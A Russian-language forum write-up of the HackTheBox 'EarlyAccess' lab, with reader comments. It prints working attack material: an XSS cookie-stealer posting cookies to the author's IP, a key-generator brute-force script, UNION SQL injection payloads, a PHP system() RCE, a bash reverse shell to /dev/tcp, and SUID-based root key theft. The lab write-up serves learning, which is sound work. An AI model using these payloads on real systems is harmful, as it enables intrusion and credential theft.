Статья XSS, RCE, SQLi и Docker. Linux Hard HackTheBox EarlyAccess!

logo.jpeg


Приветствую!

Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину EarlyAccess (Linux - Web).
Сегодня мы применим уязвимости такие как SQLi, XSS и RCE, а так же рассмотрим повышение привилегий через Docker! Начинаем)

Данные:

Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.11.110
IP адрес основной машины - 10.10.14.66

Начальная разведка и сканирование портов:

Запустим Nmap для сканирования нашего хоста:

nmap -sC -sV 10.10.11.110

nmap.png


Из его вывода мы видим интересующие нас порты: вебчик (80/http, 443/https) и 22/ssh
Перед переходом на сайт, добавим доменное имя earlyaccess.htb в файл хостов /etc/hosts:

echo '10.10.11.110 earlyaccess.htb' >> /etc/hosts

XSS уязвимость в сообщении:

Далее сам вход на сайт...
И мы видим вот такую домашнюю страницу:

site.png


Здесь нам предлагают войти в аккаунт или зарегистрироваться, для начала давайте попробуем зарегистрироваться:

reg1.png


Вводим все свои данные и нажимаем на кнопку Register. Нас перекидывает в домашнюю страницу пользователя:

akk.png


Итак... у нас есть почта администрации - [email protected]
Просматривая ссылки сайта, мы можем заметить форму контактов - Messaging и отправку репортов в ней:

messaging.png


Давайте попробуем выявить здесь XSS уязвимость. Укажем в качестве параметров строку:

<h1>XSS TEST<h1>

xsstest1.png


Но как мы видим наша уязвимость не отработала, но мы можем перехватить наш запрос с помощью BurpSuite и разобрать его!
Запустим у себя Intercept и через FoxyProxy перехватим трафик:

burp.png


Здесь мы видим что наш репорт (с нашим XSS) отправляется на почту [email protected], давайте заменим её на нашу и отправим наш пэйлоад себе:

email.png


Теперь, после отправки нашего пэйлоада себе же, проверим почту:

Xssinco.png


Казалось бы что ничего не сработало, но посмотрев внимательней, мы можем заметить что отображается имя пользователя который и отправил нам это сообщение!
Это уже и есть та самая потенциальная уязвимость, попробуем изменить наше имя на пэйлоад:

<h1>QUIETMOTH-XSS</h1>

log.png


После удачной смены нашего ника, попробуем отправить то же самое письмо ещё раз:

succc.png


Перейдем в нашу почту:

XSSSS.png


И видим заветную XSS уязвимость в нашем нике, теперь для продвижения наших привилегий на сайте, попробуем использовать XSS Cookie-Stealer на JS:

<script>document.location="http://10.10.14.66/?c="+document.cookie;</script>

Если вкратце, с помощью этого стиллера куки, мы обращаемся от аккаунта администратора с его куки к нашему серверу.
Теперь вставим этот стиллер в наш ник и напишем администратору предварительно открыв свой python3 HTTPserver на порту 80:

python3 -m http.server 80

XSsssssssssssssssssssssssss.png


Далее ждём пока админ прочитает наше сообщение, которое даст нам его куки:

Cookiees.png


Иии... Ура! У нас есть доступ к админу, но это только начало);)

Учетная запись админа и поддомены:

Теперь нам осталось зайти в аккаунт админа и проверить его домашнюю страницу на функционал.

admin.png


Итак, войдя на страницу, видим что мы admin, а также страницы: Admin, Dev, Game.
Перейдем на вкладку Dev, но сперва нужно будет добавить dev.earlyaccess.htb в /etc/hosts, а также добавим game.earlyaccess.htb туда же:

forma.png


И снова нас встречает форма входа в аккаунт...
Перейдем в директорию админской панели.

adminpanel.png


Давайте перейдем на страницу загрузки бэкапа:

baaack.png


Стоит отметить, что эта страница сообщает нам, про использование ручной проверки, мы должны
предоставить magic_num приложению. Скачиваем Key-validator и продолжаем энумерацию кода.
Запаситесь сладостями, так как впереди сложная работа:coffee:

key.png


И вытащив единственный файл из бэкапа под названием - validate.py, мы можем написать скрипт который будет создавать ключ, который и обойдет эту валидацию.

Key Validator:

Начнём разборку данного кода с самого верха:

1644751632786.png


Первые строки кода состоят из импорта.
Библиотека sys позволяет скрипту взаимодействовать с системой, а функция match из библиотеки re обеспечивает возможность поиска шаблонов регулярных выражений.

1644751721351.png


Класс Key содержит три переменные: key, magic_value и magic_num.
Комментарий, сообщает нам, что некоторые из этих переменных необходимо синхронизировать с API.
А ещё можем заметить что magic_num изменяется каждые 30 минут, а вот magic_value наоборот - константа.
Чтобы создать объект из этого класса, вы должны предоставить ключ и magic_num.
Если нет то указано значение magic_num, по умолчанию оно равно 346.

Функции класса Key:

1644752471793.png


Первая функция info() - возвращает информацию о скрипте.

1644752665601.png


Вторая valid_format - проверяет правильность формата предоставленного ключа.

Ключ должен быть в следующего формата: AAAAA-BBBBB-CCCC1-DDDDD-1234

1644752758885.png


Третья функция calc_cs - берет полученный ключ и разбивает его на отдельные группы, которые разделяются знаком - .
Затем значения каждого символа всех групп, кроме символов в последней группе - суммируются.

Функции проверки:

1644753057951.png


Далее у нас есть пять функций: g1_valid, g2_valid, g3_valid, g4_valid и cs_valid. Судя по их названиям кажется, что эти функции используются при проверке каждой группы отдельно, а это означает что если мы перестроим каждую функцию, мы сможем создать подходящий ключ.

1644753498304.png


Первая функция проверки - g1_valid <- она стартует с первой группы ключа.
Тогда она проходит по каждым первым 3'ем символам и сдвигает влево значение каждого на равный index+1 по модулю 256.
Далее она наконец подвергается XOR'у с исходным символом.
Затем она проверяет, соответствует ли результат XOR - трем значениям.
Что касается последних двух символов - она проверяет, являются ли они целыми числами.
Наконец, она проверяет, соответствует ли длина группы длине набора, произведенного из этой группы.
Эта окончательная проверка означает, что в первой группе нет повторов.

1644753562964.png


Вторая функция попроще:)

Вторая функция g2_valid <- начинается со второй группы ключа.
Затем вторая группа разбивается на две части, называемые p1 и p2.
Первая часть, содержит все четные индексы, а вторая часть содержит все нечетные индексы.
Тогда все значения четного и нечетного индексов суммируются и сравниваются.
Если суммы совпадают, группа действительна.

1644753809408.png


Третья фунция g3_valid <- начинается с третьей группы ключа.
Видим TODO комментарий, в нём говорится о синхронизации magic_num с API.
После получения третьей группы - функция проверяет, совпадают ли первые два символа со значением magic_value.
Затем она проверяет, сумму всех значений (включая первые два) третьей группы равна magic_num.

1644754275515.png


Четвертая функция g4_valid, она начинается с четвертой группы ключа.
Она XOR'ит каждый символ четвертой группы с соответствующим ему символом.
Из первой группы он сверяет результат с некоторыми значениями.

1644754473383.png


Ну и заключительная функция cs_valid.
Она проверяет, соответствует ли функция результату calc_cs, которая представляет собой сумму всех значений из предыдущей группы.

Проверка:

1644754650191.png


Функция проверки гарантирует, что все проверки действительны для полученного ключа.

Заключительная функция Main:

1644754822498.png


Она проверяет, что скрипт был вызван с аргументом.
Если нет, то показывает info скрипта.
В другом случае, если она принимает аргумент, создает валидатор, используя класс Key.
И наконец, она вызывает функцию Key.check и даёт нам результат проверки.

Фух, теперь можно выдохнуть, но нам ещё нужно составить генератор этих ключей, так что за работу);)

Генерация всех групп и ключей:

Для начала нам нужно составить правильный ключ для группы 1 - g1_valid.
Создадим скрипт который подберет этот ключ:


Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_01() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))
 
    return "".join(g1)

print(generate_01())

Наша стратегия состоит в вычислении одного и того же шага XOR для всех заглавных букв (мы используем только прописные буквы, потому что формат проверки допускает только их).
Далее мы сохраняем их и убеждаемся что результат операции соответствует результату в g1_valid.
И наконец, добавляем два случайных целых числа в качестве последних двух символов.
Результатом выполнения этого скрипта является - KEY07
Из этого мы делаем вывод, что первыми тремя символами этого игрового ключа являются -> KEY

Составим скрипт, но уже для второго ключа:

Python:
def generate_02() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

Вычисление становится ещё проще, ведь никакой проверки ключа здесь нет,
Так как во второй группе пять символов, три из них расположены по четным индексам и два по нечетным, но нужно включить ещё и цифры.
Уравнение 3*even = 2*odd - наглядно демонстрирует проверку второй функции.

Итак, теперь мы можем обьеденить наш код из двух групп и получить ключ из них:

Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

print(f"{generate_g1()}-{generate_g2()}")

Получаем вот такой результат -> KEY57-6Q6Q6

Далее нужно составить скрипт для третьей группы.
Здесь нам нужно найти значение всевозможных значений magic_num.
Функция valid_format сообщает нам, что правильный формат для этой группы - [A-Z]{4}[0-9], но поскольку мы знаем, что первые два символа всегда XP, формат упрощается -> XP[A-Z][A-Z][0-9].
Это значит, что мы получам наименьшее магическое число с XPAA0 и самое большое с XPZZ9.
Вычислим этот диапазон:

1644757227831.png


У нас есть 60 возможных ключей (включая 346, следовательно и +1), которые мы должны взломать с помощью API.
Описывать подробно составление этого скрипта я не буду, так как это займет у вас кучу времени)

Python:
def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

Добавим generate_g3 в наш скрипт.
Теперь изменим нашу main функцию в соответствии с нашим кодом, дабы создать первые три группы для всех возможных значений magic_num:

Python:
if __name__ == "__main__":
    keys = []
    for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
        key = f"{generate_g1()}-{generate_g2()}-{generate_g3(magic_num)}"
        keys.append(key)
 
    print(f"[+] Generated {len(keys)} keys:")
    print("\n".join(keys))

Теперь суммируем все наши писания:

Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

if __name__ == "__main__":
    keys = []
    for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
        key = f"{generate_g1()}-{generate_g2()}-{generate_g3(magic_num)}"
        keys.append(key)
 
    print(f"[+] Generated {len(keys)} keys:")
    print("\n".join(keys))

Результат выполнения этого скрипта будет вывод 60 ключей:

1644757987026.png


3 группы готовы, далее нужно сделать ещё две, приступим за четвертую:
Здесь нам нужно выполнить операции XOR для каждого символа из первой группы, на примере A ^ B = C -> A ^ C = B.

Python:
def generate_g4(g1:str) -> str:
    return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])

И последняя функция - cs_valid.
Мы можем просто повторно использовать функцию calc_cs, чтобы получить наш результат:

Python:
def calc_cs(key) -> int:
    gs = key.split('-')
    return sum([sum(bytearray(g.encode())) for g in gs])

Всё! Далее создадим обьединяющую функцию для всех частей групп или только правильной (если конечно есть magic_num).
А также нужно будет переделать функцию main:

Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

def generate_g4(g1:str) -> str:
    return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])

def calc_cs(key) -> int:
    gs = key.split('-')
    return sum([sum(bytearray(g.encode())) for g in gs])

def gen_key(magic_num:int=-1) -> list[str]:
    keys = []
    if magic_num == -1:
        # Calculate all keys
        for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
            g1 = generate_g1()
            key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
            key += f"-{calc_cs(key)}"
            keys.append(key)
        print(f"[+] Generated {len(keys)} keys!")
        return keys
    else:
        # Calculate for specific magic_num
        g1 = generate_g1()
        key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
        key += f"-{calc_cs(key)}"
        keys.append(key)
        return keys


if __name__ == "__main__":
    if len(sys.argv) > 1:
        print(f"[*] Calculating key for magic_num {sys.argv[1]}...")
        print("".join(gen_key(int(sys.argv[1]))))
    else:
        print("[*] Calculating all possible keys...")
        keys = gen_key()
        print("\n".join(keys))

1644759025141.png

Простая генерация. 60 ключей.

1644759044404.png

Генерация одного ключа. Magic_num=346.

Итак. Теперь нам нужно сделать брутфорс каждого ключа к этому API.
Давайте напишем его с помощью использования нескольких библиотек и обьеденим это всё в один скрипт:

Python:
#!/usr/bin/env python3
import argparse
import urllib3
import requests
import string
from random import randrange
import sys
from time import sleep, time
from bs4 import BeautifulSoup
urllib3.disable_warnings() # Убираем ssl ошибки

url = "https://earlyaccess.htb" # Наш url сайта
proxies = {}


def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

def generate_g4(g1:str) -> str:
    return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])

def calc_cs(key) -> int:
    gs = key.split('-')
    return sum([sum(bytearray(g.encode())) for g in gs])

def gen_key(magic_num:int=-1) -> list[str]:
    keys = []
    if magic_num == -1:
        # Calculate all keys
        for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
            g1 = generate_g1()
            key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
            key += f"-{calc_cs(key)}"
            keys.append(key)
        print(f"[+] Generated {len(keys)} keys!")
        return keys
    else:
        # Calculate for specific magic_num
        g1 = generate_g1()
        key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
        key += f"-{calc_cs(key)}"
        keys.append(key)
        return keys

def login(session:requests.Session, email:str, password:str) -> requests.Session:
    """
    Использует `email` и `password` для входа в систему и возвращает действительный `session`, если вход был успешный
    """
    res = session.get(f"{url}/login", proxies=proxies)
    soup = BeautifulSoup(res.text, features='lxml')
    token = soup.find('input',{'type':'hidden'}).attrs["value"]
    data = {'_token':token,'email':email, 'password':password}
    resp = session.post(f"{url}/login", proxies=proxies, data=data)
    return "dashboard" in resp.url

# Далее давайте добавим функцию которая будет отправлять наш ключ и отвечать корректен он или нет.

def submit_key(session:requests.Session, key:str) -> bool:
    """
    Использует `session` для отправки ключа и возвращает `True`, если ключ успешно
    зарегистрировался в аккаунте
    """
    res = session.get(f"{url}/key", proxies=proxies)
    soup = BeautifulSoup(res.text, features='lxml')
    token = soup.find('input',{'type':'hidden'}).attrs["value"]
    data = {'_token':token, 'key':key}

    resp = session.post(f"{url}/key/add", data=data, proxies=proxies)
    soup = BeautifulSoup(resp.text, features='lxml')
    out = soup.find('div',{'class':'toast-body'})
    if out:
        out = out.text
    else:
        return False
 
    if "Game-key successfully added" in out or "Game-key is valid" in out:
        return True

    elif "Game-key is invalid" in out:
        return False

    elif "Too many requests" in out:
        print(f"[!] Got blocked! Waiting 60 seconds and then retrying...")
        sleep(60)
        # Ждем каждые 60 секунд, если блокнуло
        submit_key(session, key)
 
    else:
        print(f"[!] Unexpected result: {out}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Генератор ключей")
    parser.add_argument("--email", help="Введите email вашего аккаунта", type=str)
    parser.add_argument("--password", help="Введите пароль от вашего аккаунта", type=str)
    parser.add_argument("-c", "--cookie", help="Введите куки", type=str)
    parser.add_argument("-d", "--delay", help="Введите время ожидания запроса",
    metavar="1", type=float)
    parser.add_argument("-p", "--proxy", help="HTTP proxy",
    metavar="http://127.0.0.1:8080", type=str)
    parser.add_argument("-m", "--magic_num", help="Какой Magic Number вы хотите использовать", metavar="[346-406]", choices=range(346,405+1), type=int)
    parser.add_argument("-l", "--local", help="Найти ключ", action='store_true')
    args = parser.parse_args()

    # Вызываем помощь если аргументы неправильны
    if not any(vars(args).values()):
        parser.print_help()
        quit()

    if args.local:
        """
        Вычисли ключи
        """
        if args.magic_num:
            magic_num = args.magic_num

        else:
            magic_num = -1

        keys = gen_key(magic_num)
        print("\r\n".join(keys))
        quit()

    else:
        """
        Вставь ключи на сайт
        """
        if not (args.email and args.password) and not args.cookie:
            parser.print_usage()
            print("\nНе используется --local либо (--email and --password) или --cookie аргумент требуется!")
            quit()

        session = requests.Session()
        session.verify = False
        if args.proxy:
            proxies = {'http':args.proxy, 'https':args.proxy}
        if args.cookie:
            session.cookies.set("earlyaccess_session",args.cookie,domain="earlyaccess.htb")
        else:
            email = args.email
            password = args.password

            if not login(session, email, password):
                print(f"[-] Could not login as {email} with password: {password}!")
                quit()

        if not args.delay:
            args.delay = 0.5

        if args.magic_num:
            magic_num = args.magic_num
        else:
            magic_num = -1

        keys = gen_key(magic_num)

        print(f"[*] Testing {len(keys)} possible keys!\r\n")

        # Останавливаем время выполнения
        start_time = time()
        for index, key in enumerate(keys, start=1):
            progress = index / len(keys) * 100

            if progress < 10:
                print(f"[{progress:0.2f}%] Trying key: {key}")
            else:
                print(f"[{progress:0.2f}%] Trying key: {key}")
            if submit_key(session, key):
                if args.cookie:
                    print(f"[+] Успешно зарегистрирован ключ: {key} для аккаунта с (cookie: {args.cookie}) - {index} запросы заняли время - {time() - start_time:0.2f} секунд!")
                else:
                    print(f"[+] Успешно зарегистрирован ключ: {key} для аккаунта с (cookie: {args.cookie}) - {index} запросы заняли время - {time() - start_time:0.2f} секунд!")
                print(f"[INFO] Magic_num в API это: {sum(bytearray(key.split('-')[2].encode()))}")
                quit()
        # Задержка ожидания в секундах между каждым запросом, чтобы не заблокировать сон (args.delay)
        print(f"[-] Could not find valid key! Please retry...")

Запускаем его:

python3 key_gen01.py --email [email protected] --password 'quietmoth1'

1644761643162.png


Иии... Ура! Мы получаем долгожданный валидный ключ! Пройдем дальше!

1644761723771.png

SQL-Injection в Scoreboard:

Теперь мы смогли пройти в game.earlyaccess.htb:

1644761780839.png


Перейдем на вкладку Scoreboard, но никаких игроков там не найдем, давайте сыграем в змейку, после чего зайдем туда же:

1644761912229.png


1644761931925.png


А вот и ошибка MySQL, здесь есть sql-injection, теперь давайте попробуем поменять ники и эксплуатировать данную уязвимость!

1644762087913.png


Попробуем найти UNION based SQL-i. Поставим в имя ') UNION SELECT 1,2,3 -- -
Теперь зайдем в Scoreboard!

1644762193444.png


Есть! Теперь попррбуем найти учетные данные в базах!
Так как мы не знаем название нашей базы, попробуем найти её в information_schema.schemata.
Поставим себе ник: ') UNION SELECT 1,2,schema_name from information_schema.schemata -- -
Опять заходим в Scoreboard!

1644762385036.png


О да! Мы получили имя базы - db
Теперь выведем все таблицы этой базы.
В ник ставим: ') UNION SELECT 1,table_schema,table_name from information_schema.tables where table_schema='db' -- -

1644762502264.png


И среди таблиц замечаем таблицу users, давайте выведем её колонки:
') UNION SELECT 1,column_name,table_name from information_schema.columns where table_name='users' -- - в ник!

1644762593392.png


А вот теперь выведем содержимое этих колонок!
Вводим в ник ') UNION SELECT name,password,email from db.users -- -

1644762668449.png


И видим хэши всех паролей пользователей!
Но интересует нас тут только хэш админа, давайте воспользуемся JohnTheRipper и расшифруем его!

john --wordlist=/root/rockyou.txt hash.hash

И за считанные секунды находим его пароль: gameover

RCE в dev.earlyaccess.htb:

После получения пароля администратора, перейдем на поддомен dev.earlyaccess.htb:

1644762955639.png


И сразу видим две вкладки: Hashing-Tools и File-Tools!
Перейдем в первую из них - Hashing-Tools.

1644763072193.png


Здесь нас встречает поле ввода пароля и его хэширование.
Попробовав передать ему свой пароль, он захэшировал его в MD5, хорошо, тогда попробуем найти что-нибудь интересное на вкладке File-Tools.

1644763430517.png


Здесь написано что UI ещё не готов.
Тогда затестим наш hashing-tools и проверим с помощью BurpSuite, какой запрос выполняется на стороне.

1644763528587.png


И мы видим в URL, что методом POST передаются в /actions/hash.php
Давайте попробуем перебрать эту директорию (/actions/) на другие интересные файлы:

dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://dev.earlyaccess.htb/actions/

1644763681830.png


И среди запросов видим файл под названием - file.php.
Если мы перейдем на него, нам прилетит в ответ ошибка 500, тогда давайте переберем параметры для этого php файла!

ffuf -w /root/burp-parameter-names.txt -u 'http://dev.earlyaccess.htb/actions/file.php?FUZZ=test' -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' -mc 500 -fw 3

1644763927311.png


И мы находим параметр filepath!
Попробуем использовать LFI уязвимость, чтобы прочитать /etc/passwd.

curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=/etc/passwd

1644764212516.png


Но при запросе, нам выдает ответ, что из-за безопасности нельзя читать файлы в других директориях.
Хорошо, тогда прочитаем файл hash.php и посмотрим какой код хранится в нём.

curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=hash.php

1644764352191.png


Но получаем ошибку на наш запрос!
Тогда давайте использовать php wrapper'ы для вывода в base64 содержимого файла.

curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=hash.php

1644764479890.png


И получаем зашифрованный в base64 код файла hash.php.
Разшифровываем его в файл и внимательно читаем его.

Функция hash_pw принимает два аргумента: хеш-функцию и пароль. Также имеется заметка где разработчик говорит нам, что он не верит, что это хороший способ реализовать желаемую функциональность.
Глядя дальше в исходный код, мы можем увидеть, где вызывается эта функция.

1644764695683.png


Когда действие параметра настроено на проверку и если в запросе есть параметр debug, нам разрешено указывать любую хеш-функцию, которую мы хотим. Мы можем использовать это и получить RCE, установив хеш-функцию как system() и пароль как команду, которую мы хотим выполнять.

curl -b "PHPSESSID=2db0557468564212920c1722ef9082ae" -X POST http://dev.earlyaccess.htb/actions/hash.php -d "action=hash&password=id&hash_function=system&debug=true"

1644764891643.png


Есть! Мы получили RCE, теперь прокинем Back-Connect до себя:

curl -b "PHPSESSID=2db0557468564212920c1722ef9082ae" -X POST http://dev.earlyaccess.htb/actions/hash.php -d "action=hash&password=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.66/9999+0>%261"&hash_function=system&debug=true"

1644765000284.png


Отлично, у нас есть шелл! Теперь осмотримся на этом сервере.

1644765087804.png


Эх... Мы в докере:cry: Это конечно огорчает, но не сильно, пробуем найти ещё что-нибудь.
Перейдем в директорию пользователей - /home и попробуем найти интересное там.

1644765187826.png


Из интересного здесь пользователь www-adm.
Попробуем зайти на него с ранее полученым паролем - gameover.

1644765244993.png


Ура! Пароль подошёл, теперь посмотрим его домашнюю папку, и проверим на наличие кредов!

1644765432735.png


И в файле .wgetrc находим данные от пользователя api и паролем s3Cur3_API_PW!
Давайте проверим хост API.

nc api 80

1644765533974.png


И мы видим ip адрес этого API, теперь давайте просканируем открытые порты на этом ip.
Я буду использовать bash-скрипт:

Bash:
#!/bin/bash
HOST="api"
for PORT in $(seq 1 65535);
do
    nc -z $HOST $PORT; # Connect to host foreach port
    if [[ $? -eq 0 ]]; # Port open
    then
        echo "$HOST:$PORT is open!";
    fi
done

1644765738545.png


Предварительно загрузив его на эту машину и просканировав эти порты, мы видим что порт 5000 у хоста api - открыт!
Далее, давайте обратимся к этому хосту:

wget -O- -q api:5000

1644765957436.png


И мы получаем ответ, где указана ссылка на /check_db, давайте посмотрим что в ней!

wget -O- -q api:5000/check_db

1644766085761.png


И среди огромного количества данных в этой базе данных, находим пользователя drew и его пароль - XeoNu86JTznxMCQuGHrGutF3Csq5
Пробуем подключиться к SSH к нему, и у нас всё получается!

1644766789086.png


Получаем флаг пользователя и продолжаем!

Горизонтальное повышение привилегий:

После длительного изучения этого сервера, я наткнулся на письмо в /var/mail/drew, а также у нас есть пользователь game-adm:

1644766889338.png


Из письма мы видим пользователя game-tester и сервер game-server, про который говорится что он крашнулся.
Теперь перейдем в домашнюю папку drew и возьмем оттуда ssh ключ (id_rsa) он может понадобиться для подключения к этому пользователю.

cat ~/.ssh/id_rsa

1644767202981.png


Если мы введем - ip addr, то получим результат о том, что мы состоим в 3 разных сетях:

1644767470940.png


Получив наш id_rsa ключ давайте попробуем подключитсья к game-tester, но для начала, нам нужно узнать ip этого сервера:

Bash:
for j in $(seq 17 19); do for i in $(seq 2 254); do (nc -z 172.$j.0.$i 22 >/dev/null && echo "172.$j.0.$i" &); done; done

1644767538792.png


Мы узнали ip адрес этого игрового сервера, но при поиске интересной информации на сервере, я наткнулся на файл /opt/docker-entrypoint.d/node-server.sh:

1644767615150.png


Нам следует запомнить содержимое этого скрипта и поискать дальнейшие подсказки внутри контейнера, а пока давайте попробуем подключиться к этому ip по ssh, используя имя пользователя game-tester.

1644767735472.png


И мы заходим сюда без пароля!
Теперь просмотрев корневую директорию, мы можем заметить ту же директорию docker-entrypoint.d.
А в файле entrypoint.sh мы видим скрипт который запускает все файлы оттуда:

1644768080259.png


Итак, сюда мы пришли узнать какой веб-сервер здесь крутится, поэтому найдем его рабочий порт!

ss -lntup

1644768189470.png


Среди портов мы видим порт 9999, давайте воспользуемся curl и выведем содержимое страницы:

curl 127.0.0.1:9999

1644768596981.png


Хорошо, мы видим что у нас здесь висит сайт, давайте найдем его директорию.

1644768701002.png


Мы находим её в /usr/src/app, а также файл сервера - server.js

1644768868387.png


И среди кода мы видим цикл while с кругами, мы можем сломать этот сервер передав ему значение round = -1, тем самым сервер перезапустится и сможет выполнить файлы в docker-entrypoint.d.
Загрузим нашу команду бесконечным циклом while от пользователя drew:

while [ 1 -eq 1 ]; do echo 'chmod +s /bin/bash' > /opt/docker-entrypoint.d/shell.sh; chmod +x /opt/docker-entrypoint.d/shell.sh; sleep 1; done &

Далее после введения этого цикла, мы выполняем:

curl 172.19.0.2:9999/autoplay -d "rounds=-1"

И сервер перезагружается. Теперь перезайдем на game-tester и получаем root на docker'е:

/bin/bash -p

1644769470915.png


Далее просмотрев /etc/shadow, мы найдем hash от пользователя game-adm:

1644769533656.png



Давайте расшифруем его:

1644769594336.png


И мы получаем пароль: gamemaster

Повышение привилегий:

Теперь зайдем через su на пользователя game-adm и двигаемся дальше!
Выполнив разведку через Linpeas, мы можем найти зависимости SUID в arp.
Дальше найдем arp в GTFOBins и выведем id_rsa рута:

LFILE=/root/.ssh/id_rsa

Сделаем локальную переменную LFILE равной ssh ключу рута.

/usr/sbin/arp -v -f "$LFILE"

И выведем её.

1644769933497.png


Вывод ключа конечно не очень красивый, но подретактировав его, мы получаем полноценный id_rsa файл!
И чтобы не томить вас этим не очень веселым редактированием ключа, давайте просто выведем флаг рута!

1644770219141.png


Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду;)
 
Последнее редактирование:

Gray Ghost

Green Team
29.10.2019
117
49
Читая подобные райтапы понимаю что мне до такого уровня ещё далеко, но появляется ещё большая мотивация)
 
  • Нравится
Реакции: BERG_RU и QuietMoth1

Сергей Б

Green Team
29.03.2019
106
32
